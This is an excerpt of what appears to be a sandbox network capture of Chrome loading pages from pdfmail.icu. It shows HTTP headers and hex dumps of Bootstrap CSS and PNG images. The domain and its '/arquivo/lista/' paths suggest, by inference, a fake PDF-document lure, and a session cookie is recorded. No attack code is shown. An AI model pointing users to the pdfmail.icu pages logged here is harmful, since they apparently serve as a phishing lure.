2024-09-24 04:29:45 UTC	572	OUT	GET /bootstrap/4.5.2/css/bootstrap.min.css HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://pdfmail.icu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:45 UTC	903	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 04:29:45 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"816af0eddd3b4822c2756227c7e7b7ee" Last-Modified: Mon, 25 Jan 2021 22:04:11 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/31/2023 19:21:59 CDN-EdgeStorageId: 940 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 661a59f20240fbd0b3bba9437806c5bc CDN-Cache: HIT CF-Cache-Status: HIT Age: 13043045 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8c8009051ac30f85-EWR
2024-09-24 04:29:45 UTC	466	IN	Data Raw: 37 63 31 39 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 66 Data Ascii: 7c19/! Bootstrap v4.5.2 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors * Copyright 2011-2020 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--blue:#007bff;--indigo:#6610f
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2d 73 61 6e 73 2d 73 65 72 69 66 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 Data Ascii: 7d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMa
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 73 6b 69 70 2d 69 6e 6b 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 73 6b 69 70 2d 69 6e 6b 3a 6e 6f 6e 65 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 Data Ascii: line dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}d
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 72 6f 6c 65 3d 62 75 74 74 6f 6e 5d 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 73 65 6c 65 63 74 7b 77 6f 72 64 2d 77 72 61 70 3a 6e 6f 72 6d 61 6c 7d 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 7b 2d 77 65 62 6b 69 74 2d Data Ascii: elect,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 7d 2e 64 69 73 70 6c 61 79 2d 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 36 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 Data Ascii: line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 72 65 6d 7d 6b 62 64 20 6b 62 64 7b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 70 72 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 7d 70 72 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 7d 2e 70 72 65 2d 73 63 72 6f 6c Data Ascii: ding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrol
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 73 6d 2c 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d 35 2c 2e 63 6f 6c 2d 73 6d 2d 36 2c 2e 63 6f 6c 2d 73 6d 2d 37 2c 2e 63 6f 6c 2d 73 6d 2d 38 2c 2e 63 6f 6c 2d 73 6d 2d 39 2c 2e 63 6f 6c 2d 73 6d 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 78 6c 2c 2e 63 6f 6c 2d 78 6c 2d 31 2c 2e 63 6f 6c 2d 78 6c 2d 31 30 2c 2e 63 6f 6c 2d 78 6c 2d 31 31 2c 2e 63 6f 6c 2d 78 6c 2d 31 Data Ascii: col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-1
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 38 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e Data Ascii: x:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 31 30 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 31 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 32 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 35 30 25 3b 66 6c 65 78 3a 30 20 30 20 35 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 33 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 34 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 66 6c 65 78 3a 30 20 30 20 Data Ascii: 100%}.row-cols-sm-1>{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-sm-2>{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-sm-3>{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-sm-4>{-ms-flex:0 0 25%;flex:0 0
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 6c 65 78 2d 6f 72 64 65 72 3a 31 33 3b 6f 72 64 65 72 3a 31 33 7d 2e 6f 72 64 65 72 2d 73 6d 2d 30 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 30 3b 6f 72 64 65 72 3a 30 7d 2e 6f 72 64 65 72 2d 73 6d 2d 31 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 31 3b 6f 72 64 65 72 3a 31 7d 2e 6f 72 64 65 72 2d 73 6d 2d 32 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 32 3b 6f 72 64 65 72 3a 32 7d 2e 6f 72 64 65 72 2d 73 6d 2d 33 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 33 3b 6f 72 64 65 72 3a 33 7d 2e 6f 72 64 65 72 2d 73 6d 2d 34 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 34 3b 6f 72 64 65 72 3a 34 7d 2e 6f 72 64 65 72 2d 73 6d 2d 35 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 35 3b 6f 72 64 65 72 3a 35 7d 2e 6f 72 64 65 72 2d 73 6d 2d 36 Data Ascii: lex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49721	199.232.196.193	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:45 UTC	577	OUT	GET /6Ke8DF2.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pdfmail.icu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:45 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 135 Content-Type: image/png Last-Modified: Fri, 16 Aug 2024 23:29:55 GMT ETag: "7e67c43eee5cee7a630a76589108da68" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD12-P2 X-Amz-Cf-Id: rjO2Lpmy3C5zBLadNlloF8GTd-OpXLw6u-S3iWEZ5szsHU1vPxrgxQ== cache-control: public, max-age=31536000 Accept-Ranges: bytes Age: 900140 Date: Tue, 24 Sep 2024 04:29:45 GMT X-Served-By: cache-iad-kcgs7200129-IAD, cache-ewr-kewr1740050-EWR X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 8, 0 X-Timer: S1727152185.275789,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2024-09-24 04:29:45 UTC	135	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 1d 08 02 00 00 00 57 2b b9 24 00 00 00 4e 49 44 41 54 78 9c 62 31 32 b3 64 18 08 c0 34 20 b6 8e 5a 3c 6a f1 b0 b4 98 85 18 45 fb 77 ef 20 c9 50 47 57 0f 82 6a 06 cc c7 8c a3 25 17 bd c0 68 e2 a2 1b 18 4d 5c 58 c1 68 e2 a2 06 18 79 89 6b d4 e2 51 8b 87 9f c5 80 00 00 00 ff ff 3e fd 0b c4 2a 37 f4 66 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR(W+$NIDATxb12d4 Z<jEw PGWj%hM\XhykQ>*7fIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49725	188.114.97.3	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:45 UTC	663	OUT	GET /arquivo/lista/pdf.png HTTP/1.1 Host: pdfmail.icu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=ul5kmekspqrsc6keimmvsh4e53
2024-09-24 04:29:45 UTC	651	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 04:29:45 GMT Content-Type: image/png Content-Length: 5366 Connection: close Last-Modified: Sat, 17 Aug 2024 00:08:43 GMT ETag: "14f6-61fd5e10562de" Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nfjUCkGmbCuFHin3crYQWzCngSvG%2BjntAbUtCJd8GYSydRCxVbWam%2BqTD4JSNES%2Fe4CDcyhhivXo7z20FNMaQSjDCw1uByosgoO3DMgaCRdEJXf7vZ2HFZG9Ja2tAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8009087d3f4352-EWR
2024-09-24 04:29:45 UTC	718	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f4 00 00 01 2c 08 03 00 00 00 c3 eb 6e 3a 00 00 02 f7 50 4c 54 45 47 70 4c ff 20 11 ff 1f 14 ff 1f 15 fe 20 15 fe 20 16 fe 20 17 fe 20 17 fe 20 17 fe 21 13 ff 1f 14 ff 21 11 ff 00 00 fe 1e 13 fe 20 15 fe 20 15 fe 20 15 ff 20 15 ff 23 17 ff 23 18 ff 22 16 fe 20 16 fe 20 16 fe 20 15 ff 22 14 ff 21 10 fe 20 15 ff 22 17 ff 21 16 fe 21 15 ff 20 14 ff 20 16 fe 1f 13 ff 1d 19 fe 20 15 fe 20 15 ff 1f 14 ff 1c 10 ff 18 0c fe 21 15 ff 19 0e ff 15 09 ff 1e 13 ff 34 2a ff 47 3d ff 45 3c ff 30 26 ff 1a 0f ff 16 0a ff 1d 13 ff 14 09 ff 3c 32 ff 6e 67 ff a7 a2 ff cb c9 ff dc da ff ea e9 ff eb ea ff e9 e8 ff da d8 ff c1 be ff 8d 87 ff 4b 42 ff 20 15 ff 1d 11 ff 59 51 ff ed ec ff ff ff ff fb fa ff b7 b4 ff ad aa ff Data Ascii: PNGIHDR,n:PLTEGpL !! ##" "! "!! !4*G=E<0&<2ngKB YQ
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 9e 9a 9a 9a 3e 3e 3e 4c 4c 4c f2 f2 f2 ee ee ee 8f 8f 8f 75 75 75 78 78 78 8b 8b 8b 83 83 83 57 57 57 b1 b1 b1 b3 b3 b3 b0 b0 b0 9b 9b 9b e0 e0 e0 9c 9c 9c 42 42 42 7a 7a 7a 13 13 13 ff 1f 17 fe 20 15 fe 1f 16 fe 21 16 fe 20 15 fe 21 16 fe 21 15 6f f3 3d fd 00 00 00 fd 74 52 4e 53 00 0e 28 40 5b 7a 75 76 72 50 3a 1c 03 24 6c ad d3 f2 ff ff ff e4 c1 8b 32 0b b3 ff ff f7 61 cd 46 08 da d0 ff ff ff e0 ff ff ff ff ff ff ff ff ff 22 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ca ff ff ff ff ff ff ff ff ff ff ff ff ff 20 ff 13 9a ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff a3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: >>>LLLuuuxxxWWWBBBzzz ! !!o=tRNS(@[zuvrP:$l2aF"
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: aa 4a 18 7b f4 0e e5 4f 82 9e 8b 10 d0 ed 9d b8 a3 e7 09 cb 2e e8 2d 53 16 73 0c b2 fa 41 e9 27 d0 eb 53 d4 45 85 20 fe 97 ac d6 e6 95 3d 40 0d c4 68 75 51 d2 bf 8f 3d 1a da 57 0e 36 41 cb eb c9 cf 31 eb 60 08 7f 74 97 78 77 eb ee 0e 6b 51 17 e5 9e cf e0 8f 3e b4 f0 fa f8 4e 70 bc ba 28 dd 0c f8 a3 e7 e3 ee 04 68 ad 52 da 7f 0c 9a 35 01 7a 6d 31 bd 04 f9 66 b6 34 34 1b 36 01 1a 8e a4 21 3b a8 ed 6b cf c7 2c e4 8e 19 d0 87 1c b9 01 6a eb c7 f9 39 26 a4 bc 66 40 f7 7b a4 a3 fb a7 26 04 b7 98 31 03 3a 72 90 de 52 a1 bd e5 c7 84 9a d2 0d 66 40 c3 1b 9b a5 11 20 49 e4 77 37 4f 87 cd 81 ae 49 49 b3 00 5d 54 fe 2a 4d 66 73 e6 40 83 4f 3a a9 83 1e 5a 5b f2 64 c6 24 e8 16 1b bd d0 3b 67 d5 96 5c 02 93 a0 3b 06 a5 a5 16 01 9d d2 a7 66 41 43 b7 e2 6f 62 09 35 86 9f Data Ascii: J{O.-SsA'SE =@huQ=W6A1`txwkQ>Np(hR5zm1f446!;k,j9&f@{&1:rRf@ Iw7OII]T*Mfs@O:Z[d$;g\;fACob5
2024-09-24 04:29:45 UTC	1369	IN	Data Raw: 6b 74 68 f4 3a 2d 5f 75 66 d0 77 5f d1 93 6e 36 9b 04 8c d1 99 ae 32 51 d9 4a 5c 82 d6 29 85 a6 18 7d 0e 18 a3 37 16 65 f1 c5 79 2d a0 bc 71 2b da dc 81 4b 7c d1 75 47 7c 5a a8 8c 82 de 80 0f 6d 6e 32 98 03 6c d1 13 cf 25 e5 ca 09 f7 bd e1 d0 9d 48 ee 73 c0 15 bd 39 1d 4c 97 ec d9 e1 be a4 fe 3d 39 db 58 06 57 74 dd aa 2c 0e 35 c2 43 33 8b 32 91 cf 9a 1a 01 4c d1 35 01 89 ae ec 80 47 ed e9 df 0d 3c 3e 05 4c d1 93 5b 22 33 0d 8f 5b b0 08 e8 39 77 df 26 a6 e8 06 8f 98 5d 80 c7 8d bc a0 7e 20 d4 e8 ab 5a c0 13 5d db 24 5e 0f 17 9e e1 4d 74 29 a1 76 ec df 07 3c d1 9b ab 52 89 b3 f0 e1 57 d1 09 4d f2 2e c0 14 dd c2 d1 5d 50 d0 1e 8d ae d0 dc 34 60 8a be 6c 4a fb 22 f0 b8 30 25 68 66 79 14 70 45 df ba df 7a 27 68 9d 27 d1 e0 3e b8 c4 16 7d b1 72 e6 28 30 5b 48 Data Ascii: kth:-_ufw_n62QJ\)}7ey-q+K\|uG\|Zmn2l%Hs9L=9XWt,5C32L5G<>L["3[9w&]~ Z]$^Mt)v<RWM.]P4`lJ"0%hfypEz'h'>}r(0[H
2024-09-24 04:29:45 UTC	541	IN	Data Raw: ea 4f 93 f3 b3 60 0d cd 2b e5 1a 7f 3d 3f f1 3b ff 05 ec a0 1d b4 83 76 d0 0e da 41 3b 68 5b e5 a0 1d b4 83 fe e8 a6 9e f6 23 0b 82 00 8c d7 20 e6 a9 f1 af 2b 4e 3a b6 39 58 db b6 6d db b6 f7 66 fd 8c c1 60 95 c3 38 b9 9d fa bf c1 d7 5d 55 bc ed 9b 22 fa 3b f3 e8 5d 87 9b cc e8 21 3d fa c3 9e 9d bc a3 bb bf 4b 33 3a 5d 8f 0e 7d 7e c4 3b 7a f3 99 46 52 e1 30 64 b8 48 15 94 7d bc a3 3b 6a ca f5 e8 42 18 89 ba b5 e8 a6 93 bc a3 af 37 05 f5 68 07 64 79 04 a9 e4 63 e6 c7 5b 92 ca ad d8 21 7b 39 92 aa e2 f3 41 d6 2b dd 60 ac 74 7e 00 20 86 a4 39 f6 9e 73 f4 e5 ea a0 1e 1d 07 80 62 d2 35 6e ba c5 b7 b9 fb be 24 8d db 09 00 b6 52 41 9a 96 35 7c a3 fb 5b 82 a4 12 89 2c f8 cf 87 a4 09 d1 5e ae cd 2f 7e 54 90 06 4f c0 28 bf 22 48 b5 42 ee ee e4 d9 bc b4 be 5a 6f 44 Data Ascii: O`+=?;vA;h[# +N:9Xmf`8]U";]!=K3:]}~;zFR0dH};jB7hdyc[!{9A+`t~ 9sb5n$RA5\|[,^/~TO("HBZoD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49716	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
